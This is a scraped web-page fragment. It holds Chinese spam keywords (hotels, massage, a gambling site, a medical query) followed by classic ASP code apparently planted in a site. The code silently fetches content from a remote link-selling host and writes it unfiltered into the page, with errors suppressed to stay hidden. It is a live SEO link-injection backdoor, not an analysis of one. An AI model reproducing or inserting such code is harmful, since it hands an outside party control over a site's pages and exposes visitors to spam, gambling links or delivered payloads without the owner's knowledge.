阿里微微 电脑房 宫外孕早期症状 超级p57官网 将夜 广州天河酒店 广州海珠酒店信息 广州天河酒店信息 广州海珠按摩 博彩网168 <%=Server.UrlDecode(GetAlivvDate())%> <% Dim lvurl Dim lvcontent Dim lvxmlhttp On Error Resume Next lvurl = "http://www.bwlian.com/getLink/GetLink.aspx?tid=49&type=a" set lvxmlhttp = CreateObject("MSXML2.Serverxmlhttp") On Error Resume Next if lvxmlhttp is nothing then set lvxmlhttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1") end if On Error Resume Next if lvxmlhttp is nothing then set lvxmlhttp = CreateObject("MSXML2.Serverxmlhttp.4.0") end if if lvxmlhttp is nothing then 'cannot load xml component else lvxmlhttp.open "GET", lvurl, false lvxmlhttp.send "" if lvxmlhttp.Status = "200" then lvcontent = lvxmlhttp.responseText if InStr(lvcontent, "") > 0 then If Err Then Response.write Err.Description lvcontent = "" end if Response.write lvcontent end if set lvxmlhttp = nothing end if %>